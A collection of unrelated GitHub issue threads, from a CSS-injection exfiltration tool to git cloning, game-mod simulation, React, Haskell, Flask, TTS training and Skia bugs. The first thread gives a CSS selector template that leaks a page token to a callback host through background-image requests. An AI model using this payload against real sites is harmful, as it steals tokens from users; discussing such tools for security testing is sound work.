Problems while trying to exfiltrate

I tried exfiltrating <meta> tag and it gets stuck - it makes 2 requests and then all other requests are set to pending. I have to click on meta in source code to continue exfiltrating.

After doing this and clicking on request it says Stalled - clicking on Explaination I found out that it's queueing the requests for some of these reasons:

There are higher priority requests.
There are already six TCP connections open for this origin, which is the limit. Applies to HTTP/1.0 and HTTP/1.1 only.
The browser is briefly allocating space in the disk cache

Is there any way this can be fixed or bypassed?

Hey! Couple of things here..
In general, I pretty much handled all of the hard stuff (like 6 tcp connections) for you so that shouldn't be a problem. What I think is happening is that your style isn't actually being applied to the meta tag. I think, in my testing, I noted that the browser won't apply styles to meta tags so that might explain why it's not issuing callbacks.
If it were not a style issue, then you would expect to see a stalled /callback call in your network history.
That being said, if the token you're trying to exfiltrate is in the meta tag, I recommend reading my previous blog post Exfiltration via CSS Injection to learn about a way you can possibly apply the background image to a sibling of the meta tag instead of the meta tag itself (since it doesn't make sense for the browser to set a background for a tag that never visually appears in the page).
I'm going to close this since i'm pretty sure that's your issue. Thanks!

(Also, if you read the blog post, you'll note that the "stalled" connection part is 100% intentional.)

I just did a quick test to see if the sibling selector idea would work.
Html

        <meta id="exfilme"></meta>

Pivot off of me

Template
meta[id^={{:token:}} ~ * { background: url({{:callback:}}); }

I was able to exfil the token in this scenario because I applied the background style to the p as a result of the meta tag matching the attribute. However, in normal cases, you'll find the meta tag in the head and you might not be able to find a direct sibling you can apply the style to. Maybe you'll get lucky though.
I hope this helps!

Thanks for help :D
I used the sibling payload and still I have to click on some script or link tag (No luck with "stylable" elements in header :D) in order for it to work which makes no sense to me, it's like the style was applied when the element is being inspected and when I "click away" it stops sending requests. I guess I'm just gonna have to give up on this one 😕
Anyway it's great tool and I like it very very much

@makuga01 Ahh! I know what you're seeing :P
When you open Chrome dev tools, chrome will issue a request for the image even if the element will never use the background. I think they do that so they can show a preview of the image in the dev tools (maybe).


problem with passing clone settings?

Hi, I wanted to pass two settings for clone, which is clone a branch and --single branch.
It seems I'm getting a status 129 / git error.
So here's an example command that reproduces that error
cloneorg twitter -o secureheaders --gitsettings='--single-branch --branch clear-site-patch'

Hi, sorry for the late response.
Looks like currently the code only works with one git setting. I'll try to fix with as soon as I can.
Thanks for reporting this!

Actually, the fix was easier than I thought 😄
Can you update to version 0.2.6 and test so see if it's working correctly now?

hi @tegon works now!  Thanks!
Side note: Any chance you can point me on how to clone repos that "ends with" a string?
eg. .backbone ?

Thanks 😄
You can use the regexp option. I'm not sure what the regex will be, I'm guessing something like this:
cloneorg organization -o '\.backbone$' -r true


Impossible to guarantee coherency in resource simulation of loaded vessels

The resource cache (RC) used in this mod make the consumption/production agnostic to simulation step duration. That is, the resource simulation is consistent irregardless of the timewarp speed (and, indirectly, of the containers capacity).
The RC is used by everything that consume/produce resources in this mod. This include:

rules
processes
our own modules
the background simulation of stock and third-party modules

So, stock and third-party modules on loaded vessels are not using the RC. This mean that anything produced/consumed from these elements will not be agnostic to simulation step duration.
This issue is particularly evident on vessels with solar panels, due to the EC requirement of ECLSSs, and the dire consequences of incoherent simulation on the crew. It isn't particularly evident for other resources because these are usually covered by our own modules and processes, both of which are using the RC at all times, or because incoherency on the simulation of these other resources don't lead to evident consequences.
The proper solution would be to somehow force all stock and third-party modules in loaded vessels to use the RC. However, that doesn't seem to be possible unless these are reimplemented from scratch. That's hugely impractical.
An half-solution could be to reimplement only the stock solar panel module (that would also fix #95). This will avoid the most noticeable consequences of the issue.

This was partially fixed, without replacing the stock solar panel module. Instead, a new module WarpFixer was created. This module set stock module output to zero, and then calculate the correct output itself, considering analytical sunlight visibility. Then the EC is produced using the resource cache, so that warpspeed and EC capacity can't influence the amount actually produced.
A full fix would require to obtain complete control on resource production/consumption in loaded vessels. The partial fix implemented should be good enough for 99% of the cases.

The issue has been further minimized by detecting when some external module is producing a resource in a loaded vessel, without using the resource cache. In that case, the user is warned and timewarp above a threshold forbidden.
Incoherent consumers are not detected, because the consequences in that case are most likely non-negative for the player (eg: something consume less than it should).
This can be disabled by the player in settings. So he can opt for one of these 3 mutually exclusive solutions:

design vessels using parts/modules that work at any warp speed
avoid warping loaded vessels at the 2 highest speeds
live with the possible consequences of incoherent resource production/consumption

To summarize, this was 'fixed' by:

hacking major EC producers (panel, rtg) to use the resource cache on loaded vessels
detection, warning and prevention of incoherency on loaded vessels at high warp speed


Me arroja error.

No se pudo compilar
./src/App.js
Line 6:    'React' must be in scope when using JSX  react/react-in-jsx-scope
Line 7:    'React' must be in scope when using JSX  react/react-in-jsx-scope
Line 8:    'React' must be in scope when using JSX  react/react-in-jsx-scope
Line 9:    'React' must be in scope when using JSX  react/react-in-jsx-scope
Line 10:  'React' must be in scope when using JSX  react/react-in-jsx-scope
Line 12:   'React' must be in scope when using JSX  react/react-in-jsx-scope
Search for the keywords to learn more about each error.

how many times have you merged to this repo? just curious

how many times have you merged to this repo? just curious

One time.
El mié, 27 ene 2021 a las 4:15, Dennis Desmornes<EMAIL_ADDRESS>escribió:

how many times have you merged to this repo? just curious
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/facebook/create-react-app/issues/10444#issuecomment-768086759,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AR6TAZ6WPALK5YYQ6PK4KALS364STANCNFSM4WUXG3NQ
.

One time.
El mié, 27 ene 2021 a las 4:15, Dennis Desmornes<EMAIL_ADDRESS>escribió:

how many times have you merged to this repo? just curious
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/facebook/create-react-app/issues/10444#issuecomment-768086759,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AR6TAZ6WPALK5YYQ6PK4KALS364STANCNFSM4WUXG3NQ
.

wow, thats pretty cool. its cool to see that sort of initiative @kmnm2209

wow, thats pretty cool. its cool to see that sort of initiative @kmnm2209


Issue/32 new state validator type

Codecov Report

Merging #38 (be5bf2d) into main (e090897) will not change coverage.
The diff coverage is n/a.

@@             Coverage Diff             @@
##              main       #38     +/-   ##
===========================================
  Coverage   100.00%   100.00%
===========================================
  Files           12         5      -7
  Lines         3215       298   -2917
  Branches       241        51    -190
===========================================
- Hits          3215       298   -2917

Flag
Coverage Δ

endpoint
100.00% <ø> (ø)

endpoint-prefix
100.00% <ø> (ø)

endpoint-spec
?

server
?

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

server/src/flow.ts

endpoint-spec/src/stage0.ts

endpoint-spec/src/common.ts

server/src/utils.ts

endpoint-spec/src/stage1.ts

endpoint-spec/src/stage2.ts

endpoint-spec/src/stage3.ts


build: increase timeout in builds

PR summary
Builds have started failing in recent PRs due to timeout, so in this PR I increase Travis's timeout (20m) to see if it solves the issue.
PR Checklist
Please make sure that your PR fulfills the following requirements:

[ ] The commit message follows the Angular Commit Message Guidelines.
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

Current vs new behavior

Does this PR introduce a breaking change?

[ ] Yes
[ ] No

Other information

Closing this experiment, because the issue has been solved.


💿 Bring Record Types (nearly) to Parity with the OCaml Module System

This PR does several things.
include-ing
cooltt now implements include ala the ML module system.
include-ing Signatures
include can appear anywhere inside a signature
def foo : type :=
  sig
    def A : type
    def B : A -> type
  end
def bar : type :=
  sig
    include foo renaming [A -> X; B -> Y]
    def Z : (x : X) -> Y x -> type
  end

This will include all fields of foo in bar, and will rename the field A to X and the field B to Y. Renamings can be specified in any order and attempting to rename fields that do not exist is currently a no-op. So in this example, bar is definitionally equivalent to
sig
  def X : type
  def Y : X -> type
  def Z : (x : X) -> Y x -> type
end

Any cooltt expression which is definitionally equivalent to some signature is a valid target to be include-ed in a signature.
include-ing Structures
include can appear anywhere inside a structure.
def test1 : foo :=
  struct
    def A := nat
    def B := _ => nat
  end

def test2 : bar :=
  struct
    include test1 renaming [A -> X ; B -> Y]
    def Z := _ _ => nat
  end

This works analogously to include in signatures.
Any cooltt expression which is definitionally equivalent to some structure is a valid target to be include-ed in a structure. The eta law for structures means that even a neutral value can be include-ed in a structure, so long as it has the right type!
open-ing
It is now possible to bring all fields of a record into scope as variables, using the open tactic. The fields may also be renamed.
def monad-prod (M : monad) (A B : type) (ma : M.F A) (mb : M.F B) : M.F {A * B} :=
  open M renaming [bind -> bnd; pure -> ret] in
  bnd A {A * B} ma {x =>
  bnd B {A * B} mb {y =>
    ret {A * B} [x,y]
    }
  }

Substitutive Patching
This features mimics the destructive substitutions of the OCaml module system. A substitutive patch (written using ::= instead of :=)
sig [A : type, B : A -> type] # [ A ::= nat ]

will evaluate to
sig [B : nat -> type]

It definitionally constrains a field, and then discards the field. This can be combined with include in very useful ways! See the definition of ring in algebra.cooltt.
Allow Extra Fields in Structures
When checking a structure against a signature, any extra fields not specified by the signature will be silently ignored and elaborated away. This also works with fields add by include
def test-extra-field : sub {sig [A : type, a : A]} true {struct [A := nat, a := 0]} :=
  struct [B := 0, A := nat, x := 0, a := 0, y := 0]

Worship Code Signatures More Effectively
The type codes for signatures contain lists of fields, where each field binds all the previous fields manually using lambdas. Previously the functions working with these objects in Refiner.ml used a rather gnarly pattern of accumulating the labels and values of each of these fields, and manually applying each code to these accumulators. The de-gnarlification remedy is thus: treat a signature code as if it were a real signature. Use RM.abstract to bind variables, and only at the end, legitimize them with a lambda on each field using Syntax.bind_code_sign_vars. Pretend that the rest of a code signature (sign in (lbl,code) :: sign) is in fact a closure, and instantiate it using the new Sem.instantiate_code_sign.
This is put into practice in the new definition of R.Univ.signature and the new quote_code_sign_hooks which takes a domain code signature to a syntax code signature, while optionally patching/substituting/renaming its fields. This function also takes the place of both quantifiers and patch_fields, while being smaller than the sum of their sizes.
Not Done

Several new errors are represented using failwith. These need to be added to the RefineError.t type and given nicer printers.

include is only parsed in the module style record syntax. It ought to work in the simple style too.

Perhaps renaming ought to be a standalone expression

include does not interact so well with the eta-directed retyping laws. For instance, this code fails
def foo : monoid := struct include monoid/nat end

Because it expects nat and ext => type with [T => nat] to be equal. I think fixing this would require something like eta-expanding struct llterals during elaboration, but only on one recursive call, since we'll have to elaborate a struct eventually.

I have now added a few new errors; the remaining failwith I am OK with.


Compile failure w/ pre-AMP base versions

Hi,
I noticed on http://<IP_ADDRESS>:8080/package/shikensu  that recent releases fail to compile with pre-AMP base versions, e.g. w/ GHC 7.8.4:
Configuring component lib from shikensu-0.3.0...
Preprocessing library shikensu-0.3.0...
[1 of 8] Compiling Shikensu.Types   ( src/Shikensu/Types.hs, /tmp/matrix-worker/1491048278/dist-newstyle/build/x86_64-linux/ghc-7.8.4/shikensu-0.3.0/build/Shikensu/Types.o )
[2 of 8] Compiling Shikensu.Metadata ( src/Shikensu/Metadata.hs, /tmp/matrix-worker/1491048278/dist-newstyle/build/x86_64-linux/ghc-7.8.4/shikensu-0.3.0/build/Shikensu/Metadata.o )
[3 of 8] Compiling Shikensu.Utilities ( src/Shikensu/Utilities.hs, /tmp/matrix-worker/1491048278/dist-newstyle/build/x86_64-linux/ghc-7.8.4/shikensu-0.3.0/build/Shikensu/Utilities.o )

src/Shikensu/Utilities.hs:62:16:
    Could not deduce (Functor m) arising from a use of ‘fmap’
    from the context (Monad m)
      bound by the type signature for
                 lsequence :: Monad m => [(String, m a)] -> m [(String, a)]
      at src/Shikensu/Utilities.hs:48:14-62
    Possible fix:
      add (Functor m) to the context of
        the type signature for
          lsequence :: Monad m => [(String, m a)] -> m [(String, a)]
    In the second argument of ‘(|>)’, namely ‘fmap (zip identifiers)’
    In the expression:
      dictionaries |> sequence |> fmap (zip identifiers)
    In the expression:
      let
        unzippedList = unzip list
        identifiers = fst unzippedList
        dictionaries = snd unzippedList
      in dictionaries |> sequence |> fmap (zip identifiers)

If you don't want to support base-4.7 and older, the simplest way to address is to advertise the supported version range more accurately by tightening the lower bound on base to e.g. base >= 4.8. This way cabal won't run into compile failures.

Thanks!! Will adjust the version range ☺

Upload 0.3.1 with the new base version constraint.

Great! Fyi, I went ahead and revised the meta-data for the 3 affected releases (which btw is something you can do yourself as well at e.g.  https://hackage.haskell.org/package/shikensu-0.3.2/shikensu.cabal/edit):

https://hackage.haskell.org/package/shikensu-0.3.0/revisions/
https://hackage.haskell.org/package/shikensu-0.2.1/revisions/
https://hackage.haskell.org/package/shikensu-0.2.0/revisions/

Thanks! 🙏  Good to know.


[SMALLFIX] Cleanup unused properties

@calvinjia

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/16704/
Test PASSed.


Performance

Was there any tests done? From what I see SyncMap has worse performance than ConcurrentHashMap, are there any benchmarks? When using flare will be better than normal hashmap/fastutil?

SyncMap is a specialized map, you should read the javadocs to understand how it is useful (https://github.com/vectrix-space/flare/blob/main/flare/src/main/java/space/vectrix/flare/SyncMap.java#L39).
There are benchmarks recorded here (https://github.com/vectrix-space/flare/blob/main/benchmark/readme.md).

Also if you have questions to ask, I'd prefer that you ask them in the Discord over creating issues for them.


Learning rate finder auto-suggest-LR algorithm is slightly too naive

🐛 Bug
The learning rate finder auto-suggest-LR finds the point of steepest loss descent but can be tricked by spikes early in the process. A short burn-in period at the beginning would resolve the issue.
To Reproduce

@SkafteNicki mind have a look ^^

This makes sense... @mstewart141 mind submitting a PR? :)

but wouldn't it also be tricked by spikes anywhere? we're talking about local mins here...

Maybe something like a patients would be a good idea... If it doesn't furhter decrease after 5 additional lr changes or something, use the lr with the minimum so far...

i'm happy to try and help out.
one simple fix would be to add a "minimum_lr_threshold" kwarg to the plot function referenced above, with a default value of say 1e-5. few models in practice want a max/initial lr below that figure (of course the default could be even lower as well). then, when plotting, plot the whole plot as done now, but select the best suggestion in the range only after the min thresh.

but wouldn't it also be tricked by spikes anywhere? we're talking about local mins here...

i think that in practice the extreme spikes are a symptom of going from "totally random/untuned" to "ever so slightly tuned" and occur primarily right at the very very beginning.
of course, some models may behave more pathologically, but making a good suggestion for such models is probably out of scope for a simple LR suggester


Cost Management Data fields is missing unitPrice

I receive the Cost Management CSV and I see a column called unitPrice.
Such column is described here.

But it's not listed in the Data fields
Please add the description of this column.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 302575cd-86c8-5ddb-97c6-b406925cf0f4
Version Independent ID: 84c2ceb5-e2f5-f8f6-e755-4cada678cb1c
Content: Get started with Cost Management for partners - Microsoft Cost Management
Content Source: articles/cost-management-billing/costs/get-started-partners.md
Service: cost-management-billing
Sub-service: cost-management
GitHub Login: @bandersmsft
Microsoft Alias: banders

@francesco1119 Thanks for your comment! We will review and provide an update as appropriate.

@francesco1119 Updated the article to add the missing field.
#please-close


Update mesh.py

PR types
Others
PR changes
Docs
Describe
#814 No.58

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@smallpoxscattered

需要签署CLA
需要通过code-style-check流水线
PR标题和PR内容需符合规范，可以参考issue中其他合入PR


self has no task_df member.

https://github.com/mmcdermott/EventStreamGPT/blob/fc6a0e92eda4ca19f0735d287f32afe9d295bf16/EventStream/data/pytorch_dataset.py#L349

Closing as this is fixed in dev; will be pushed to main soon.


TypeError: Fetch argument 0 has invalid type <class 'numpy.int64'>, must be a string or Tensor. (Can not convert a int64 into a Tensor or Operation.)

Hello, I run the python3  multitaskAIS.py --mode=train --logdir=./chkpt --bound=elbo --summarize_every=100 --latent_size=100 --batch_size=50 --num_samples=16 --learning_rate=0.0003 with the following problem
  File "...tensorflowpy36\lib\site-packages\tensorflow\python\client\session.py", line 300, in __init__
    fetch, allow_tensor=True, allow_operation=True))
  File "...tensorflowpy36\lib\site-packages\tensorflow\python\framework\ops.py", line 3475, in as_graph_element
    return self._as_graph_element_locked(obj, allow_tensor, allow_operation)
  File "...tensorflowpy36\lib\site-packages\tensorflow\python\framework\ops.py", line 3567, in _as_graph_element_locked
    types_str))
TypeError: Can not convert a int64 into a Tensor or Operation.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "D:/project/MultitaskAIS/python3/MultitaskAIS/multitaskAIS.py", line 55, in <module>
    runners.run_train(config)
  File "D:\project\MultitaskAIS\python3\MultitaskAIS\runners.py", line 327, in run_train
    log_step_count_steps=config.summarize_every) as sess:
  File "...tensorflowpy36\lib\site-packages\tensorflow\python\training\monitored_session.py", line 508, in MonitoredTrainingSession
    stop_grace_period_secs=stop_grace_period_secs)
  File "...tensorflowpy36\lib\site-packages\tensorflow\python\training\monitored_session.py", line 934, in __init__
    stop_grace_period_secs=stop_grace_period_secs)
  File "...tensorflowpy36\lib\site-packages\tensorflow\python\training\monitored_session.py", line 648, in __init__
    self._sess = _RecoverableSession(self._coordinated_creator)
  File "...\tensorflowpy36\lib\site-packages\tensorflow\python\training\monitored_session.py", line 1122, in __init__
    _WrappedSession.__init__(self, self._create_session())
  File "...\tensorflowpy36\lib\site-packages\tensorflow\python\training\monitored_session.py", line 1127, in _create_session
    return self._sess_creator.create_session()
  File "...\tensorflowpy36\lib\site-packages\tensorflow\python\training\monitored_session.py", line 812, in create_session
    hook.after_create_session(self.tf_sess, self.coord)
  File "C...\tensorflowpy36\lib\site-packages\tensorflow\python\training\basic_session_run_hooks.py", line 568, in after_create_session
    self._save(session, global_step)
  File "...\tensorflowpy36\lib\site-packages\tensorflow\python\training\basic_session_run_hooks.py", line 599, in _save
    self._get_saver().save(session, self._save_path, global_step=step)
  File "...\tensorflowpy36\lib\site-packages\tensorflow\python\training\saver.py", line 1143, in save
    global_step = training_util.global_step(sess, global_step)
  File ...\tensorflowpy36\lib\site-packages\tensorflow\python\training\training_util.py", line 69, in global_step
    return int(sess.run(global_step_tensor))
  File "...\tensorflowpy36\lib\site-packages\tensorflow\python\client\session.py", line 929, in run
    run_metadata_ptr)
  File "...s\tensorflowpy36\lib\site-packages\tensorflow\python\client\session.py", line 1137, in _run
    self._graph, fetches, feed_dict_tensor, feed_handles=feed_handles)
  File "...\tensorflowpy36\lib\site-packages\tensorflow\python\client\session.py", line 471, in __init__
    self._fetch_mapper = _FetchMapper.for_fetch(fetches)
  File "...tensorflowpy36\lib\site-packages\tensorflow\python\client\session.py", line 271, in for_fetch
    return _ElementFetchMapper(fetches, contraction_fn)
  File ...\tensorflowpy36\lib\site-packages\tensorflow\python\client\session.py", line 304, in __init__
    (fetch, type(fetch), str(e)))
TypeError: Fetch argument 0 has invalid type <class 'numpy.int64'>, must be a string or Tensor. (Can not convert a int64 into a Tensor or Operation.)

, my environment is python3.6,tensorflow 1.13.1 is samilar with requirments.txt.
Look forward your reply.

Hi,
Which branch did you clone the code from?
I can't reproduce your error on branch Master (my code).
The code in branch Python3 is written by @JSchuurmans , I haven't checked it yet.
@JSchuurmans : could you take a look? Thank you.

Hi,
I've just updated the master branch to python3.
It works for me.
You can update your repository, clone the PYTHON3GPU environment (using requirements.yml) to run the code.


Add NVIDIA APEX

SteamDB app page links to a few games using this
https://steamdb.info/app/49520/
https://steamdb.info/app/232090/
https://steamdb.info/app/208650/
https://steamdb.info/app/209160/
Brief explanation of the change
Add Nvidia Apex as an sdk
I'm not a big fan of that regex since it's so big but simply looking for apex would bring some false positive and the list of games that uses it is so big that i don't have the willingness to find out if the "framework" one is never used without one of the other one

https://gameworksdocs.nvidia.com/APEX/1.4/docs/APEX_Framework/APEX_PG_Deployment.html
Are you sure framework isn't always present?

yeah, one such exemple is Batman: Arkham Asylum https://steamdb.info/app/35010/depots/
it uses apex_release.dll

Any others? I'd rather not list every variant in regex.

yeah agree with you, most likely we can reduce it to (?:^|/)apex(?:framework|_framework|_loader|_release)
loader is needed for project Cars (_legacy could also work but makes less sense with the rest)
https://steamdb.info/app/234630/depots/


Question: Significance of training with pad_token between every phoneme in the dataset?

I noticed that piper places the pad token (index 0) between every phoneme id. In etc/ folder where the test sentences are there is a 0 in between every phoneme id and in the C++ code I see a interspersePad member on the PhonemeIdConfig struct.
I was wondering if someone could explain what is the significance of adding the pad_token between each phoneme? When I try training with a pad_token in between every phoneme id it's taking quite a long time to get started. I get this log repeatedly:
"warning: audio amplitude out of range, auto clipped" and I'm not getting progress on epoch 0. Previously I had a training session going with the same arguments and was a few hundred epochs in (over the course of several days). I'm training from scratch so I was wondering if including the pad_token between each phoneme id in the jsonl file is necessary or could it be omitted? Thanks a lot to anyone who can shed light on this!

Interspersing the pad phoneme was something that was found to work well in GlowTTS, which the VITS model in Piper uses. I don't know for sure, but I think this is because it allows the model more flexibility in generating the timings of individual phonemes.
I believe this is no longer used in VITS2, which Piper may upgrade to some day.

Ah, I see, Thanks a lot for replying.
Maybe it's not that I added the pad_token that's causing my issue. The only other argument I changed from this training session from the previous one is I added --checkpoint-epochs 100 because I read in another issue someone recommended that setting this could speed up training time and I don't need to write every epoch.  Would using --checkpoint-epochs 100 suppress the progress bar from displaying?

I don't think so. I've had trouble getting the progress bar to come back with more recent versions of PyTorch Lightning.
If you do set checkpoint epochs to be that high, it may be quite some time before you see a checkpoint.
I'd suggest also checking on progress with tensorboard.

So I let it run overnight and I got the first checkpoint so training is running but the Terminal isn't showing the progress bar like it was before. I did launch Tensorboard  but it doesn't seem to update the epoch value (for example it shows something like epoch 40 sometimes when I'm actually somewhere in the range between epoch 100 and 198). After refreshing the page a couple times it says epoch 189 (but then when I refresh again sometimes the epoch value goes down?)
Every time I refresh the page it shows a seemingly random epoch value so it's hard to gauge training progress; not sure if using the --checkpoint-epochs 100 option actually speeds things up in a significant way. I forgot to add the pad token between phonemes in a previous training session so I decided to start over because the results of the already trained models are great and I want to train my model in the same way but was wondering about the significance of using it. I think omitting the pad_token between phonemes in my dataset may boost training time but I'd rather wait for better results.
I'm going to let this training session run but I'm flying semi blind as far as progress goes. Thanks again for answering!


Incorrect link in docs

It looks like it should be linked to https://origin.nodejs.org/en/docs/guides/nodejs-docker-webapp
Currently, its linked to https://nodejs.org/en/docs/guides/nodejs-docker-webapp/
The page in question -> https://pnpm.io/cli/fetch

There has been an update to the Node.js page. I think because of this some links broke.
The page referenced in the documentation I think would be this: https://github.com/nodejs/docker-node
Right?

Thanks


Allowing a version/branch string to be parsed in download url

Closes #16

@rawkode nice! thank you very much. I can't merge it though it says that the branch has conflicts, try a rebase?

Weird! I did pull before submitting. I'll rebase when I'm off train. No problem

Sorted

@rawkode merged now thanks.
Branch specification is enabled now 👏


Documentation is wrong at https://www.palletsprojects.com/p/flask/

Expected Behavior
Taken directly from https://www.palletsprojects.com/p/flask/
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return "Hello World!"

if __name__ == "__main__":
    app.run()  # claim is that argument port=some_port is not needed

Actual Behavior
Nothing happens.  Script executes, but flask web server never starts.
Seems like
...this is required
app.run(port=5000)

Environment

Python version: 3.6.4
Flask version: 0.12.2
Werkzeug version: 0.14.1

That's not required. I can't reproduce your issue, the example as shown works fine.

Hm, must be my internals somewhere.  Thanks!
On Sun, Mar 11, 2018, 6:48 AM David Lord<EMAIL_ADDRESS>wrote:

That's not required. I can't reproduce your issue, the example as shown
works fine.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/pallets/flask/issues/2656#issuecomment-372116899, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AHfXcrpS9Kp_Jn4PoZFem9iC27W01BK8ks5tdSsigaJpZM4Slk_o
.


update docker image tagging

@mFarghaly for the next release, you need to replace :develop tag in the yaml file with latest/SHA/Release_Tag


not working for public repository

Summary
Sometimes not working for public repository
Steps to reproduce
Create Public repo and add pr triage.
It doesn't work after some time
Pull Request URL
https://github.com/Alfresco/alfresco-repository/pull/1041

@dhrn I am gonna check it. I am sorry not to reply quickly. I would appreciate it if you create a pull request to fix the issue. thanks in advance


Multiple places (Changelog.md, #331, tests) indicate that I simply need to use with_swagger_ui_at to expose it. But when I do, the compiler yells at me.
use actix_web::{App, HttpServer};
use paperclip::actix::{web::scope, OpenApiExt};

mod models;
mod routes;

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    HttpServer::new(move || {
        App::new()
            .wrap_api()
            .service(scope("/api").service(routes::users::get_all))
            .with_json_spec_at("/spec")
            .with_swagger_ui_at("/swagger")
            .build()
    })
    .bind(("<IP_ADDRESS>", 8080))?
    .run()
    .await
}

  --> src/main.rs:14:14
   |
14 |             .with_swagger_ui_at("/swagger")
   |              ^^^^^^^^^^^^^^^^^^ method not found in `paperclip::actix::App<actix_web::app_service::AppEntry>`

Also, I don't see anything mentioned in the docs about this at docs.rs for paperclip or paperclip_actix.
Cargo.toml:
[dependencies]
actix-web = "4.2.1"
paperclip = { version = "0.7.1", features = ["actix4"] }

I'm on Rust 1.64.0
What crucial piece am I missing here?

Yep.


perf opt: evaluate AP libraries impact on web vitals

Discussion 🗣

Performance Optimization
Evaluate AP Libraries Impact on Web Vitals

Measure the performance impact of AP libraries on the app (e.g. loading time, bundle size, runtime performance).
Explore potential optimizations specific to Accord Project libraries(e.g template engine, markdown transform, concerto core)

Hi David, I would like to work on Performance Optimization can you please assign it to me

Yeah @nitro56565 as we are! Definitely should look into this from the roadmap.


docs: document using as_borrowed in the Bound migration

As suggested in https://github.com/PyO3/pyo3/pull/3826#discussion_r1485685744.

Thanks!


bug: Buttons are transparent with just core CSS styles

Preflight checklist

[X] I could not find a solution in the existing issues, docs, nor discussions.
[X] I agree to follow this project's Code of Conduct.
[X] I have read and am following this repository's Contribution Guidelines.
[X] This issue affects my Ory Cloud project.
[X] I have joined the Ory Community Slack.
[X] I am signed up to the Ory Security Patch Newsletter.

Describe the bug
By default with just the required CSS styles, the button on UserAuthCard has a transparent background. This makes it invisible.

Reproducing the bug
Set up '@ory/elements' with just the core styles (only import @ory/elements/style.css as defined in the docs). Create a Login variant of the UserAuthCard. The button should be visible, and it is not.
Relevant log output
No response
Relevant configuration
No response
Version
0.0.1-beta.3
On which operating system are you observing this issue?
None
In which environment are you deploying?
None
Additional Context
No response

Hi @JacobMillward
We use Ory Elements inside the Account Experience and in example projects and did not observe the button as transparent.
Could you share the code of how you are using Ory Elements? Did you wrap the ThemeProvider around the components?


How do I create new Android controls to use?

What is your question?
I created a new menu, but adding the Ipad didn't work

come to the discord server for more support because I’m sick of you making so many issues


Error when using canvaskit on web - Cannot read properties of null (reading 'rangeMin')

Description
On Mac M1, I'm encountering a very strange error when running the web version of my react-native application. Canvaskit-wasm seems to be erring after successfully loading and showing the Skia SVG I created.
Important versions:
"expo": "~48.0.18",
"@shopify/react-native-skia": "0.1.193",

Other information that may be relevant:

I'm using expo's metro bundler rather than webpack
To avoid errors with path and fs, I followed these instructions to modify the canvaskit-wasm node_module (this seemed to resolve the original errors I was encountering)

The error is...
Uncaught TypeError: Cannot read properties of null (reading 'rangeMin')
    at Pb (canvaskit.js:248:320)
    at canvaskit.wasm:0x3dcb2
    at canvaskit.wasm:0x299074
    at canvaskit.wasm:0x5bc7cb
    at canvaskit.wasm:0x117bcd
    at Object._MakeGrContext (canvaskit.js:187:52)
    at a.MakeWebGLContext (canvaskit.js:17:268)
    at a.MakeWebGLCanvasSurface (canvaskit.js:20:230)
    at SkiaView.onLayoutEvent (SkiaBaseWebView.js:68:33)
    at Platform.web.js:23:28
    at sentryWrapped (helpers.js:90:17)

I'm loading Skia by doing the following...
import { WithSkiaWeb } from '@shopify/react-native-skia/lib/module/web';

import { ProgressTileFallback } from './ProgressTileFallback';

export const ProgressTile = () => {
  return (
    <WithSkiaWeb
      // @ts-expect-error
      getComponent={() => import('./ProgressTileMain')}
      fallback={<ProgressTileFallback />}
    />
  );
};

After doing additional testing, it seems like I get the error even if I just render the <Canvas/> in the actual component (I normally use various Groups and Paths...
import { Canvas } from '@shopify/react-native-skia';
import React from 'react';

// ---------------------- START MAIN ---------------------- //
/** Renders a chart-like tile that shows a user's progress towards some numerical goal */

const ProgressTileMain = () => {
  return (
    <Canvas
      style={{
        width: 200,
        height: 200,
      }}
    />
  );
};
// ---------------------- END MAIN ---------------------- //

export default ProgressTileMain;

The strangest part is that it looks like my Skia component loads correctly for a second and then crashes with the above error. Afterwards, I can only see the frowny face in the UI.
I will try to create a reproducible example, but thought I'd post my thoughts first in case the answer is obvious.
Version
0.1.193
Steps to reproduce

Install the relevant packages

"expo": "~48.0.18",
"@shopify/react-native-skia": "0.1.193",

Set up skia for web

yarn setup-skia-web

Create a basic import with <WithSkiaWeb/> and <Canvas/>

Try to run the application on web (may only happen on M1 Mac's?)

Snack, code example, screenshot, or link to a repository
Working version (a second before crash)

Erring version

This is very strange. Which browser are you using?
Can you double check that the wasm file is matching with the canvaskit.js file. This is a common issue when upgrading.
Is there a small reproducible example (as a small repository maybe) you could share with us?

Hey @wcandillon, thanks for your reply.
I'm using Google Chrome. How would I verify the wasm version matches the canvaskit.js file?
I've also experimented with a few different scenarios and gotten mixed results. Let me know if you have any recommendations for further tests I can run or how I should proceed.

I tried downgrading back to "@shopify/react-native-skia": "0.1.172" (this version is technically the one that expo 48 prefers) and loaded the wasm via the CDN

opts={{ locateFile: (file) => `https://cdn.jsdelivr.net/npm/canvaskit-wasm@${version}/bin/full/${file}` }}

This method seems to randomly cause the following error, but does work for the most part (I was also experiencing this error before I upgraded). I thought that upgrading skia and loading the wasm locally may help alleviate the issue, but that may be wishful thinking.
Error {name: 'BindingError', message: 'Expected null or instance of Path, got an instance of Path', stack: 'BindingError: Expected null or instance of Path, g…bundle?platform=web&dev=true&hot=false:168654:19)', __sentry_captured__: true}

I created a reproducible example that shows the error with the local wasm via yarn setup-skia-web, but the error is different from the one I originally mentioned on this issue (it complains about the magic word).

